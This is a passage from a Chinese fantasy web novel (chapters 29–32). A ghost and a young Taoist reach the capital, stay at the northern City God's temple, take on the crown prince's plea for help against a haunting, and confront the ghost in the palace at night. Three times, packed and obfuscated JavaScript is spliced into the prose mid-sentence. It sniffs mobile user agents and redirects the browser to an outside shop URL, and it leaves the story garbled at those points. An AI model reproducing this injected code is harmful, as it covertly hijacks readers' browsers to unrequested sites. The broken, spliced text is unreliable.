“解道长神采英拔,还是这副模样更顺眼些,”封灵一脸真诚地补上最后一句,趁着解玉还没反应过来,又迅速提起乌贺说的事,“等你再休整两日,咱们就启程去北地。我给你找了个好差事。” 解玉这下子回过神了,“……什么好差事?” “自然是——” “让你得钱,让我得香火的好差事了。” 红衣鬼合上扇面,笑得眉眼弯弯。 29. 启程赴京 赶在日落前从热闹熙攘的村镇离开,解玉拖着几乎快要失去知觉的双腿走到一处人迹罕至之地。重重喘了几口粗气,抬手抵在虬枝盘结的老树聊作支撑,须臾双膝一软,整个人跟泄了劲般倚着树干一点点滑落,最后跌坐在稍显潮湿的泥壤地上。 “……鬼、鬼大王,”解玉感受着胸腔传来的剧烈颤动,整个人欲哭无泪,“这次为什么不能直接用缩地成寸的术法哪?就算要在白日里赶路,也可以买头骡子或是驴代步啊!” 他实在是不长记性,居然又一次被封灵的笑骗过了,忘记了莫县的教训,也忘了这只鬼每每想要算计人时,便会格外的温柔好说话。 “解道长,你这身体未免也太弱了些,”封灵不知何时坐在了老树的枝干上,“才走了多久的路便虚成这样……再说了,日落之后我不还是在用缩地成寸带你走吗?” 解玉强撑着抬头,“鬼大王,咱们都已经走了三日了,你的缩地成寸又只能在没人的时候用。前两日哪次不是我想方设法地去找了僻静地,咱们才能省下脚程……你又偏爱往人多的地方凑!” 一提起来,解玉便还是心有余悸。若不是这一次跟封灵同行,他还不知道这只鬼竟是个这么爱看热闹的脾性。人越多的地方就越想要挤进去,却偏偏要求解玉只能在日落无人之时被她带着走,余下的时候只能靠两条腿。 这倒也无妨,左右就是慢些罢了。 可封灵却不这样想。白日在村镇里热闹够了,日落后人烟散去,便嫌弃走的慢了,反又开始催起解玉来。几日下来,解玉可谓是尝尽了艰辛跋涉、风餐露宿之苦。 “鬼大王,上次去莫县,你的缩地成寸不还挺快的吗……” 怎么这次都三日了都没到。 解玉幽幽道。 红眸威胁似的半眯起来,封灵抬手将折扇打在解玉头上,直听见后者的痛呼才不解恨地勾指召回。 “出发前我传信问过乌贺,就是北地城隍主,他说这件差事的主人身份有些特殊。若被你接下了,保不齐会有人过来探查你这一路行踪……若查出来你半刻钟不到的工夫就到了望京,要怎么解释!” 红衣鬼将扇骨捏得嘎吱作响,大有解玉再质疑就把他的脖子也拧断的架势。后者咽了口唾沫,忙不迭地点头,以示自己的万分赞同。 “……鬼大王,那折扇的事情?” 试图再捞个一时半刻的休息,解玉带着转移话题的小心思,状似寻常地问起来。 他后来还是向封灵提了酆灵英的事情,原以为会惹来红衣鬼不满的斥问,不想后者的反应却比想象中平淡了太多。淡淡一句’知道了’便再无下文,反弄得解玉有些惴惴不安起来。 “等到了北地,咱们自会与她再遇上的,届时再细细问她也不迟。” 倒不是封灵突然不上心了,只是她才得了酆家的卷册,又深知此行必会与酆家人撞上,是以顺其自然罢了。 “……为何会遇上?” 解玉果然问了出来。 “你可知北地的城隍庙建在了哪里?” 老实摇头。 封灵笑了起来,“就在咱们上次去的酆都庙背后。” 这便又是酆家人做出的事情了。 酆都大帝身为地府之主,在人间自是不缺信众,可却只会在一地建庙,便是中都。但酆家不知哪一代的家主,自恃与酆都大帝关系“匪浅”,也为向当时的君主显示诚意,便提出来要将酆都庙迁往帝都所在,便是如今的望京。 北地城隍主的地盘。 “……城隍主不也受地府辖御么,酆都庙迁往北地又有何不可呢?” 解玉奇怪道。 “你当建庙造像是什么随便的事情么?”封灵白了人一眼,“酆都大帝居中都,东南西北四方各守一位城隍主,本就是为当时流窜的鬼祟特意设下的,后来便成了拱卫人间的屏障。但酆家人却直接拆了中都的神庙,又以自家的名义在望京新建了一个……就选在了北地城隍庙的位置。” “两位大人,便也由着酆家的这样做吗?” 解玉听着好奇,又不好直接议论鬼神,思来想去只能含糊称呼一句,又催着封灵继续。 “若遇上的是我,便不由着了。但是他们么……”红衣鬼回想着自己从地府里听来的乱七八糟的话,“一是不愿入人间的因果,二来便是当时的君王视酆家人为半个鬼神。虽有城隍入梦劝言,却架不住酆家的日日在皇帝耳边说的话……最后便成了如今的局面,酆都大帝庙在前,北地城隍庙在后。又因有酆家的人掺和其中,城隍庙的香火远逊于酆都庙,或者说是逊于酆家的庙。” 解玉方才恍然大悟,可旋即又提出了新的疑惑,“这人间各地都有城隍庙,北地城隍主何不干脆搬出望京,另择一处香火圣地呢?” 封灵睨了人一眼,“你当是个城隍就能被称呼城隍主的么?这人间拢共就四位城隍主,各自管着辖地里数百计的小城隍。他们的庙建在哪里、要怎么建,自然也是有讲究的,同样不能随意改换……否则,你以为这两间庙是怎么出现前后并立的。” 解玉唔了一声,深觉这鬼神间的弯弯绕绕也不少。至于酆家,也远比他想象中的更行事肆意,全然没有忌惮的样子。 “行了,说了这么多,你应该也休息好了罢,”封灵抬扇戳了戳这人肩膀,“继续走吧,解道长?” 原来她一早就看出来了…… 解玉摸了摸被戳的肩膀,另只手撑住树干借了个力,利索地从地上爬起,“鬼大王,我好了,继续走吧。” …… 「望京」 解玉仰头看着悬于城门的这两个字,打心底涌出的竟不是高兴,而是风尘仆仆到现在居然还不算开始的悲伤。光来的这一趟,他便觉得半条命都要没了,也不知道后面还会有多少的“意外之喜”。 “鬼大王,咱们现在往哪里去?” 跟在人群后排队进城,又侧身避开几个挑着箩筐的卖货商贩,解玉迅速在附近找了处无人之地,小声地问起封灵来。 “你身上还有钱吗?” 红衣鬼沉默了下,决定先问清楚。 “倒是还剩一点……就是也不多了,还得留一部分当回去的盘缠。” 解玉老实答道。 得,那就没得选了。 “还记得去酆都庙的路么?从它后门外的那条巷口穿过去就是乌贺的城隍庙,”封灵大概指了下方向,“反正也是他找来的差事,你就直接住进去好了!” “……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022465|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 封灵这厢利落地拍板定调,却迟迟没等到身边的人再答话。有些奇怪地回头,而后恼怒地开口:“解玉!你这是什么表情!” 带着莫名占了鬼神便宜的心虚,解玉不自觉地别过眼睛,最后挣扎了一句,“鬼大王,咱们这样不就成白吃白拿的了……那位可是城隍主大人,会不会不太好?” “你说的似乎也有些道理,”封灵笑盈盈地赞同了一句,“要不还是去住客栈吧。以解道长你的身家,想来一个晚上的房钱还是能拿出来的。” 正中要害。 “那位城隍主大人一定也是个如鬼大王般心善的,”解玉果断改口,“咱们还是这会儿就去吧,总不好叫人家留着门等我们。” 红衣鬼一挑眉,并不对这人的反应感到意外。示意般地抬了抬下巴,后者便立刻拎着包袱朝外走去。 …… “道长可是姓封? 才从巷口拐进来,解玉便被迎面而来的两个庙祝抓个正着,又热情地架着胳臂想把他往庙里带。 “……酆?” 解玉将胳膊从两人手里扯出来,闻言浅浅一摇头,“在下的确是个道士,但姓解。” “不应该呀……大老爷在梦里说的就是姓封啊,我不会记错的。” “是不是你记错时辰了,姓封的那位道长根本还没到……要真接错人了,大老爷一定会在梦里把你我狠狠教训一顿的。” 两个庙祝的反应比解玉还大。急急退后两步,守住城隍庙的大门,又盯着衣袍陈旧的解玉窃窃私语起来。 这厢,解玉也借着包袱的遮挡,近乎耳语地问起封灵来—— “鬼大王,这两人怎么奇奇怪怪的。要找酆家人的话,几步路走去酆都庙不就行了……等在这里做什么?” 封灵没有急着开口,飘到那两个庙祝身边听了几句后,才带着难以言喻的表情回来,“乌贺那家伙算出你我今日会到,所以托梦给了他庙里的两个庙祝,但又不知道你姓甚名谁,所以跟他们说的是我的名姓……” 解玉顿时恍然,“都怪我没有想到,竟忘记封与酆同音了……鬼大王,这么说来,你跟酆家倒是很有缘分啊。姓同音,名字也与那位酆姑娘相近,实在是——” 眼看红衣鬼的脸色越来越差,解玉默默咽回了后半截话,绞尽脑汁地补救了一句,“还是封灵二字更显独特,其他的都比不过。” 封灵哼了一声,下巴朝那两个庙祝的方向抬了抬,“你自己去解释。若解释不好,今夜就等着露宿街头吧!” 解玉正为自己说错了话暗恼,闻言自是求无有不从,像是有人在身后追赶般,火急火燎地凑了上去。 不多时,便被态度再一次转变的两庙祝迎进了城隍庙。解玉只来得及将手背到身后,匆匆朝封灵示意两下,又故意将大门留了条缝隙。 红衣鬼倚在墙角笑了一下。这人似乎又忘了她是只鬼的事情。做鬼的想去什么地方,直接穿过就行了,哪里还需要从正门走进去。 不过,封灵还是领了解玉的好意,放弃了先一步进去等人的打算。只是在跨进城隍庙的前一刻,神色莫名地看了眼酆都庙的方向。 相近? 跟人间的东西相近,可是再糟糕不过的一件事了…… 30. 太子求助 直到住进了城隍庙里的客房,解玉才真切地理解到封灵说的那句话是什么意思。比起人潮涌动的酆都庙,北地城隍庙的确过分冷清了些,更别提供奉香火的信众了。 “鬼大王,这庙里头如此萧条,北地城隍主他就一点也不着急么……” 打量完客房内的陈设,又盘腿坐在正中间的软榻上,解玉真心实意地发问起来。 “着什么急?” 红衣鬼也总算寻摸到了自己的去处,将身体缩进临窗摆放的摇椅里,颇为惬意地合上了眼,“你是不是忘记了,每个城隍主底下还有百十来个小城隍呢。他们的香火也是要奉一部分给城隍主的。” “乌贺这里么……是冷清了些,不过也谈不上生计困难,酆都大帝也会三不五时地匀他些香火当补偿的。他的日子不比其他三地的城隍主差。” 原来是这样么…… 解玉默默收回心底的那一点感慨,深觉还是自己最穷。 “你最好趁这会儿小憩一下,”封灵好心提醒,“乌贺整日里要忙的事情很多,这当头应该没功夫搭理我们。如果我没猜错的话,他大抵会在夜半时分过来敲门,到时候你想睡也睡不了了。” 还没从长途跋涉的痛苦中缓和过来,便又一次迎来噩耗的解玉呆滞在原地,又立刻回过神来放下帘子。屋内变得昏暗起来,解玉起身躺回卧榻,朝封灵感激地一点头,便不管不顾地休息起来。 动作行云流水。 红衣鬼被逗得笑了一声,将折扇搭在自己的脸上,也学着榻上那人的模样,假寐养起神来。 解玉是真有些倦了,连日来的疲惫在身体靠上卧榻的那一刻达到了顶峰。迷瞪瞪地睡了大半个白日,连庙祝敲门送饭的声音也没有听见。 “封灵,这就是你的情——” 似有人进了客房,又与封灵语气熟稔地说着什么,又突然跟被卡住了喉咙的鸡一样没了声响。 解玉混混沌沌地坐起来,狠搓了自己的脸几下才逐渐清醒。抬眼往封灵的方向看去,临窗书桌后的椅子上,果真多了个魁梧人影。 “这位就是北地城隍主,乌贺。” 没想到解玉这会儿便醒了,封灵轻咳了两声,欲盖弥彰地将手从乌贺的脖子上放下,扯着袖子坐回摇椅,又佯装无事般介绍起来。 后者愣了一下,还有些没反应过来。 “解道长,还不快过来拜见城隍主。” 封灵正不耐烦乌贺在她与解玉之间逡巡的视线,又见解玉不动,少不得催促起来。 “哦……哦!” 解玉这下是彻底清醒了,兵荒马乱地趿鞋下床,又三步并作两步地停在乌贺面前,拱手郑重道:“解玉见过北地城隍主。” 话音刚落,红衣鬼便将人抓了起来,将就手里的力道又甩到身后站着,挑剔的目光转向乌贺,“人你也见到了,说吧,什么好差事。” 乌贺遗憾地收回视线,“你找的这人面皮还不错,是画皮鬼会喜欢的长相……咳,那我们先说正事。” 抬手从空中抓出一卷帛书,又将它递到封灵眼前,“这便是今次的请托,先看看罢。” 红衣鬼却没有立刻接过,反盯着帛布上刺目的明黄颜色审视了许久,须臾轻嗤一声,“这颜色可不是一般人敢用的……城隍主大人,您的这位信众怕是不一般哪!” 不过是份烧给城隍的请愿书,便能随随便便用上明黄的色。她对人间皇朝不算了解,却也知道这样的颜色是非皇室之人不可用的。乌贺还敢说这是件好差事……难道还真被孟婆说中了,这家伙只是借故把他们骗来这里的? 像是没听出封灵话里的嘲讽般,乌贺咧着嘴将帛书摊开,指着其中的几截话,又刻意加重了语气,“真不是什么大事,就是太子觉得有人放小鬼咒他,所以求到了我这里。” “……太,太子?!” 解玉倒吸一口凉气,脸上露出难以置信的神色。扭过头看向封灵,解玉的视线中满是震惊与茫然,却独独没有质问。 封灵没有理会身边人的注视,垂眼迅速在乌贺指的几处扫了两眼,仍是不改冷色,“你这话说得有些不对罢……太子为一国储君,若真受鬼祟所扰,也该先去向身为国师的酆家人求助才对,何必要求到你这城隍庙来?” “自然,是对酆家生疑了。” 乌贺慢吞吞地卷好帛书,反手扔进解玉的怀里,丝毫不觉自己说出了什么秘闻,神色再正常不过地开口,“如今在上头坐着的,当年也是借酆家的力害了数名兄弟后才换来的太子尊位。前车之鉴尤在,他又怎么敢再直接找上酆家?” 这些话,是可以随便说出来的么…… 解玉忍不住腹诽了一句,又露出吃痛的表情,呲牙咧嘴地揉着被帛书打中的地方。这位北地城隍主,不止外形长得彪悍,连力道也大得吓人。只刚才砸过来的那下,就险些叫他一口气没提上来。 红衣鬼直接翻了个白眼,转身回到摇椅上躺下。路过解玉时,又往人身上拍了一掌,后者胸口的钝痛立刻消退了大半。 “……太子不敢找也就罢了,可酆家的人会眼看着来日的皇帝与他们生隙吗?” 封灵瞥了眼正埋头翻看帛书的解玉,还是觉得这事不靠谱。若是她自己倒无所谓,三两下工夫将鬼除了便能拿到香火,也不怕之后被谁打上门来。可如今还多了个解玉,上次酆七的事便已让他在酆家人的面前露了脸,若这次再搅了酆家的局,不就直接把人推到了酆家的对立面了么…… 还是不拿这家伙去试险了。 “你从前可不是这样优柔的性子。听见哪处有功业,哪里能得香火的,立刻就去了,今日是怎么?” 乌贺将封灵的表情看在眼里,一并向尚未察觉的解玉投去一眼,“莫不是怕此事暴露,担心这位解道长会因此被酆家的人穷追不舍,所以才迟迟下不定决心?” 封灵将头偏到别处,摆出拒绝说话的架势。 “太子也是有龙气的人,你替他摆平了麻烦,功业是会算到自己头上的……还有百日的香火呢!”乌贺谆谆善诱,“至于说给解道长的银钱,最少也有上百两银子,金子也说不准。皇宫里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062346|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贵重东西可多了去了。” 句句都踩在了封灵的软肋上。 而解玉,要说没有动心也是假的。一则可以缓解囊中羞涩,二则也是能多替封灵拿些香火。否则凭他自己那些微末的除鬼伎俩,也不知要哪年哪月才能让身边的这只鬼过上吃饱喝足的日子。 至于功业,那又是什么…… 解玉默默地记下,决定回去后再细细翻阅一下酆灵英留下的书册,或许就能解惑。 “鬼大王,咱们去吧。” 解玉主动开口。 “……你上赶着去死吗?” 封灵躁烦地坐起身,说话更是不客气。 男人摇头,“城隍主不是说了,这是个好差事,还有他从旁看着……我虽然本事差些,想要保住小命还是可以的。再不济,还有鬼大王你呢。” 这话乍一听像是让封灵给自己兜底。但解玉却知道,眼前的红衣鬼对自己的本事有多自信。她若继续不让解玉接这件差事,那便是承认自己没能力护住一个凡人。封灵绝不会允许这样的事情出现,自然也就不会再反对。 “……不成,你还得再找个好由头。说来说去我们都是替你的城隍庙办差,总不能真出了岔子,把人给搭进去。” 封灵沉默了会,果然改口了。 乌贺挂起熟悉的笑,“既是道长,那便挂单到我这城隍庙来。再换上庙祝的衣服,见到太子就说是新招来庙里的庙祝……如何,这理由很是充分吧?” “脸呢?” 封灵继续追问。 “过后施个障眼法就好,保管太子连解道长的鼻孔都记不住。” 乌贺从善如流。 “……我说的是,他的脸被酆家人看见了怎么办?” 那个所谓的太子,半点都不在封灵的考虑之内。说到底只是场一手交钱一手交货的买卖罢了,他自己或都还要藏着掖着呢,又能记得住谁去?酆家人便不一样了,抓鬼的本事无出其二,酆七的事情也还没解决呢。 “放心,我会让他们看不见的。” 乌贺拍着胸脯,痛快地承诺道。 这家伙,就那么希望拆酆家的台么…… 封灵摇着扇子,动作蓦地一顿,“乌贺,你不会是想借机报酆家当年抢占你地盘的仇罢?” 若是能把下一代的储君抢来当城隍庙的信众,自此香火鼎盛不说,连酆家也会就此一蹶不振。 真是一举多得,还不必多沾自己的因果。 乌贺没有否认,但也没打算继续回答封灵的问题,只扭头问起解玉来,“方才庙祝过来送过饭,因道长在休息不敢多打扰。这会已说完了正事,解道长可还想重新用些晚饭?” 肚子适时发出了咕咕的响动,解玉摸了摸鼻翼,有些羞赧地点头,“那便多谢城隍主了。” “解道长客气了,”乌贺摆了摆手,“我就先回去了,一会儿会有饭菜送过来的。” 红衣鬼根本懒得看他,跟赶苍蝇似的挥了几下袖子,嫌弃意味明显。后者也不生气,笑着与解玉道别后转身离开。 31. 造访之人 封灵看着在院子里将七星剑耍得虎虎生威的解道长,原本普通无奇的庙祝衣袍也被这人穿得不一般了起来。果然是张好皮相。红衣鬼禁不住发出一声衣靠人装的感叹,得意起自己找“同伙”的好眼光来。 “不愧是解道长,才练了两日便有如此进步,封灵果然没有选错人。” 乌贺站在有阴影遮挡的廊下,十分捧场地大拍手掌,一副与有荣焉的样子。后者在这一声夸赞中气势更足,向封灵投去一个坚定的眼神,解玉更加认真地苦练起来。 “……这就是你说的好办法?” 封灵拿折扇掩住下半张脸,生怕被解玉看清自己信疑参半的表情,偏过头与乌贺小声嘀咕,“装个庙祝而已,你教他这些做甚?还不如现在就把那太子找来,我在后头替他把麻烦解决了……你这样,是在浪费时间吧。” 乌贺同样嘴唇翕动,“你这是没跟皇室的人打过交道。像他们这样的,对人对事最是小心,稍许的风吹草动便能被吓得缩回脚去。我这也是为了你的解道长着想……要是他被看出是个什么都不会的草包,再被当成心怀不轨的贼人拿下,你到时候总不能进大狱捞他吧?” “你才是个草包,”封灵翻了翻眼皮,施舍般赏了个嫌弃的眼神,“他不过就是从前没学过罢了……天生鬼眼的人,在抓鬼这行当可说是得天独厚的好苗子。你这两日不也发现了,否则教他几个糊弄人的假把式便好,做甚教他这种正儿八经的抓鬼伎俩?” 说着,又细细打量了被解玉握在手心的七星剑几眼,语调更是上扬,“你倒是给他挑了把好剑……灵气暗蕴,刃锋含煞,瞧着不像是人间的东西。” “我从前用过的刀,折断以后便干脆熔成了剑。”乌贺颇有几分怀念,“当时一共熔了三把,有两把断在了这几百年间镇压鬼祟的战事里,如今就剩这一把了。” “你倒也舍得。” “抓鬼除祟的年轻道士,配一把蕴灵含煞的七星剑,难道不正好?” 这算什么说法…… 红衣鬼无语凝噎,却也不在这明显得了好处的事情上纠结,重又问起最开始的问题,“都好几日了,我也没见过你这还有别人过来。不会是那太子后悔了,又找回酆家人了吧?” “七星剑……你可是新来北地城隍庙挂单的道士?” 远远传来一声疑语。是个极年轻的男人声音,虽听着有些犹豫,但仍能感觉到其中的斟酌审视,绝不是看见人便随意开的口。 “这不就来了。” 乌贺又露出熟悉的憨笑。 红衣鬼也反应了过来,“……你这是又去给凡人托梦了?” “直接让解道长冲到太子跟前去,那是最下等的方法。像这样,一点点按着梦中残存的记忆找到人,又在第一次见面时便烙下超尘拔俗的印象,太子方才会深信不疑呢!” 乌贺笑容不改,嘴里却吐露出与外表截然不符的狡语。怪不得能在千年前靠战功坐上北地城隍主的位置,这演用兵法的本事当真是不遑多让…… 封灵默默地收回视线,学着乌贺的样子观察起院里的动静。 “……敢问公子是?” 解玉铮地一声收剑入鞘,镇定自若地看向伫立在屏门青石台阶上的年轻男子。眼尾微微上扬,恰到好处地露出一抹询问的弧度,解玉多年来与人打交道的经验在这一刻迅速发挥了作用。 “叨扰道长清修了,”男人踟蹰不前,“请问您手里拿的可是城隍大老爷的七星剑?” 解玉将剑往自己的怀里拢了拢,一时摸不准此人来历。又发现这人并无视鬼之力,不好直接扭头询问乌贺与封灵,只能硬撑着维系庙祝与道士的两重假象。 “贫道拿的确是七星剑无疑……公子能到此地,又能认出此物,看来是与贫道和这把剑有不一样的缘分哪!” 解玉先是认下,而后顺势拉近距离,与人之乎者也地交谈起来。行云流水般的话术直听得围观的封灵啧啧称奇。 “看来就算没你那遭,凭解玉这糊弄人的本事,想要骗过太子也是有机会的。” 封灵乐呵呵地摇着扇子。 乌贺摩挲着下巴,啧啧感慨道:“不愧是你看中的人,就是阳寿还未尽,可惜了些……” “有什么好可惜的?” 红衣鬼不满反问。 “他还有命,你就带不去地府了呗。” 乌贺说的理所当然。 “……他死了还是要归地府的,”封灵黑着脸,“到时候我亲自去勾他的魂,把他接引下黄泉,有什么带不去的?” 乌贺叹息着摇了摇头,“封灵,哪有像你这样对情郎如此冷淡的……不想着长相厮守也就罢了,居然还要亲自把人送去投胎,也忒无情了。” 封灵克制着不将扇子砸到这位不靠谱的城隍主头上,先是迅速往解玉的方向扫了一眼,确认他们两个的说话声没有被听见后,方才咬牙切齿道:“你少跟谢必安来往,他说的十句话里能有一句真的就不错了。都说过不是情郎了,你怎么就是不信……欸,那个太子好像让解玉去皇宫了。” 院中的两道人影开始拉扯起来,红衣鬼余光瞥见,立刻便扯过乌贺的胳臂转了话题。这家伙也未免太小瞧她了罢,解玉可是她在人间亲自相中的“同伙”,哪能这么轻易地就把人放走?活人寿数自是不过几十载,免不得要她一只鬼多跟在身边些时日,可等解玉死了,她便找个由头将这人留在地府,跟她一样当只不去投胎的鬼。彼时,解玉挣功业,她便去消除恶业,日子不也与现在一样地过,有什么无不无情的! 至于解玉愿不愿意么…… 他当然会愿意的。 都上了自己这条贼船了,这人便没有第二条路能走了。 封灵摇着扇子,遥遥看向解玉的脸上满是愉悦。 院子里的拉扯此刻已趋近尾声。解玉依旧不动如山,饶是在交谈中猜出了眼前人的身份,在没有听到封灵和乌贺的准话前,也始终保持着斡旋的姿态,并不表露出任何的松口。 「这人就是太子。」 「解玉,让他先说出自己的身份。」 两道声音同时在耳边响起。 “……公子勿要焦急,”解玉驾轻就熟,“并非贫道不愿相助公子,只是公子从刚才开始便避而不谈自己的遭遇,话里话外也不过让贫道随公子归家除祟。如此地闪烁其词,贫道确实无法听从。还请公子谅解。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079268|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太子怔愣一瞬,迟疑间想起解玉最开始说过的话,“道长方才还说,我与道长有不一样的缘分……” “饶是缘分,也须彼此间坦诚以待……贫道一早便向公子通了名姓,对公子的诸般疑问也都据实相告,并无有任何的欺瞒,可公子却未必如此。”解玉笑了一下,“贫道观公子通身气派非常,想来也并非俗世中的寻常百姓,若有顾虑也属常事,只是恕贫道还有课业在身,不能相陪了。” 说罢,便要抬脚离开。 太子这下什么也顾不得了,左迈两步便将解玉急急拦住,“解道长请留步!实在不是故意欺瞒道长,只是、只是……” 吞吞吐吐地说了几个字,太子便又举棋不定起来。他今日是假称要来酆都庙奉香才从皇宫出来的,未免被暗地里的人觉察出不对劲,所以大张旗鼓地用了全部的太子仪仗,又任由酆家的人陪在身边。这会能从酆都庙穿到北地城隍庙,还是借着仪式中的“静拜”一项隔绝了人群,从废弃的、还未来得及砸平的后脚门偷溜过来的。可他已经在这院子耽搁了不少时间,再不回去怕是要惹人怀疑了…… “公子若还有顾及的,不妨先归家细细考虑清楚。贫道近日都会在城隍庙内修行,公子改日再来也是一样的。” 解玉看似不动声色,实际已将太子眼底的挣扎瞧了个一清二楚。估摸着前面也铺垫得差不多了,迅速“善解人意”地放出最后一击。 “解道长!” 太子再不犹豫,“并非是我不信任道长……实则是这重身份不好宣之于口,所以不得不遮掩一二。解道长,我其实——” 「现在告诉他,你早就知道他是谁了。」 「截住他的话,就说早就从我这里获悉他的身份了。」 又是同时开口的两句话。 鬼师娘娘与北地城隍主互相对视一眼,又各怀心思地默契移开,一切尽在不言中。 “……贫道如今,才算是真的与太子殿下有缘分了。” 将七星剑在怀里换了个方向,解玉学着工匠们刻在神像上的表情,朝太子微微一笑,带着三分的高深莫测,按照身后两个军师的吩咐如是道。 “道长……早就知道我、孤的身份?” 太子有些意料之外,但心底的那点狐疑早在与解玉的一番交谈中化为灰烬了。此刻再听到这样的话,也只觉得眼前这位面孔年轻的道长确确实实是自己的救星,是城隍大老爷专程为他召来的高人。 “日前蒙北地城隍主夜半入梦,命贫道于此地等候太子殿下,如今也算是不负所托了。” 到这时,解玉才拱手朝太子浅浅施了一个礼,仍是不卑不亢。 太子顿时长吁一口气,“那便请解道长与孤一起回皇宫罢!那鬼祟如今就在孤的寝殿盘踞不散呢……” 「催他回去,三更时分我们带你进皇宫。」 解玉依样画葫芦地交代两句,便顶着太子迫切挽留的眼神回了屋子,只给院子里的人留下一个仙风道骨的背影。却又关上门后立刻原形毕露,小心翼翼地挤在门缝处观察着院外动静。直等到伫立的人影踏着仓促的步伐彻底消失,才终于松了口气—— “……累死了,总算不用再继续装了。” 32. 夜半缠斗 是夜,皇宫。 乌贺大跨步地走在最前,熟悉得仿若在自家宅院里漫步。解玉则习惯性地跟在封灵身边,不时埋头躲开巡查守卫的士兵,哪怕他已被提前施下了隐蔽身形的术法。封灵的表情很是轻松,乌贺更是热情地为第一次来的解玉介绍着皇宫的一景一物,哪怕后者根本无心细听,甚至在面上带了过分小心的紧绷感。 至于为什么不直接出现在太子寝殿,用封灵的话说,便是这趟进皇宫的机会难得,得给身为普通百姓的解玉留一个长见识的空隙。所以才有了他们三个大半夜尤入无人之境般在皇宫行走的诡异场面。 提心吊胆地又走了一截路,解玉总算被带着摸到了太子的住处,而后便被扑面而来的奢靡晃花了眼睛。红檀木做梁,盘金毯铺地,正中间是一座宽大的玉制屏风,恰到好处地遮去了其后床榻上的太子身影。 只是不知为何,寝殿内外始终没有燃亮过一盏烛灯,更别提守夜服侍的宫人。若太子真为鬼祟所扰,就更应该让自己远离如此的环境才是。 这太子的胆子还真大。 解玉轻手轻脚地跨进殿,本欲绕过屏风唤醒不知是否昏睡的太子,背脊却突然涌起一股强烈的寒意。 原本还能勉强视物的大殿在一瞬间变得漆黑无光,伸手不见五指。逼仄湿冷的阴森感直冲解玉而来,将后者逼得生生退后好几步。 反手用七星剑抵住门槛,勉强稳住身形的解玉匆匆朝左右一瞥,试图找到封灵与乌贺的踪迹,不出意外地只窥见满目的黑气。 太子身边的鬼祟有厉害到这种程度么……竟然能一来就将地府鬼师和城隍主统统挡在了外面? 解玉还来不及细想,便被又一阵袭来的罡风掀翻在地。手肘与坚硬的地面相撞,疼痛瞬间卷席到全身,解玉忍不住发出一声闷哼,下意识抚上腕骨的符纹,似乎想趁自己还能动作时呼唤封灵。 “……你猜,他会不会一边喊着救命,一边让你过去保护他?” 乌贺稳稳浮在半空,左看一眼正被鬼祟纠缠的解玉,右看一眼战兢握住三清铃等待被施救的太子,扭头朝身边从刚才起便不作言语的封灵询问道。 “这样做有意思么?” 封灵面色有些不虞,尤其在看到解玉被她不放在眼里的小鬼接连掀翻几次之后。 方才进殿时,未免吓跑害人的鬼祟,她与乌贺都是特意掩了气息的。而那小鬼之后为隐藏踪影吐出的黑气,根本就对她不起作用。本想直接将其定住,再去拉回落单的解玉,乌贺却在这时扯着自己换到了半空呆着,美名其曰考校解玉近两日修习的成果。 我又不是护不住他。 封灵在心底暗嗤一声,决定甩开这位城隍大老爷的贵手,先把人救下来再说。 “诶诶诶,先别急着出手呀!”乌贺像是吆赶小鸡般虚拦了两下,“你看,解道长自己也在努力呢。” 红衣鬼闻声望去,抬了一半的手犹豫着又放下。解玉并没有靠符纹喊她救命,只是用掌心浅浅贴了两下,便自己从地上爬起来防备鬼祟的偷袭了。 “再等等呗?” 乌贺又重复道。 封灵没有说话,推阻的力道却骤然消失。 大殿内,解玉与那躲闪着不见踪影的鬼祟的纠缠也还没有结束。 握住七星剑的指尖用力到有些发白,解玉警惕地环视着四周的动静,终于在身后又一次传来劲风时偏身一躲,没有被继续戏弄般带倒在地。 解玉迅速在脑子里过了遍乌贺前几日教过的许多东西,电光火石之间记起一道口诀。狠狠将剑刃插进地面的缝隙,解玉单手掐诀,低声呢喃了两句,而后两指并拢伸出,指向正前方的虚空,大喝了一声—— “破!” 下一瞬,蔽目的黑气便似被什么生生破开般由内向外地撕裂,隐约还夹杂着几声凄厉的嘶喊。 解玉松了口气,紧跟着发现自己还是高兴得太早了。黑气只是消减了少许,从全然不能视物变成了能看见五步之内的物象。抬手擦拭着不知何时遍布额头的冷汗,解玉试探地左右走了几步,还是没有找到封灵的任何痕迹,少不得有些急躁起来。 “……是解、解道长吗?” 白日才听过许久的男声从黑暗的另一处传来,带着绝处逢生的激动与喜悦。 “太子殿下?” 解玉并没有因这声音放松警惕,反而将七星剑横挡在了自己胸前,一边回应着呼唤,一边更加谨慎地向声音出现的地方缓慢移动。 “真的是解道长!道长小心些,那鬼祟最爱躲在暗处偷袭,尤其喜欢戏弄人……哎哟!” 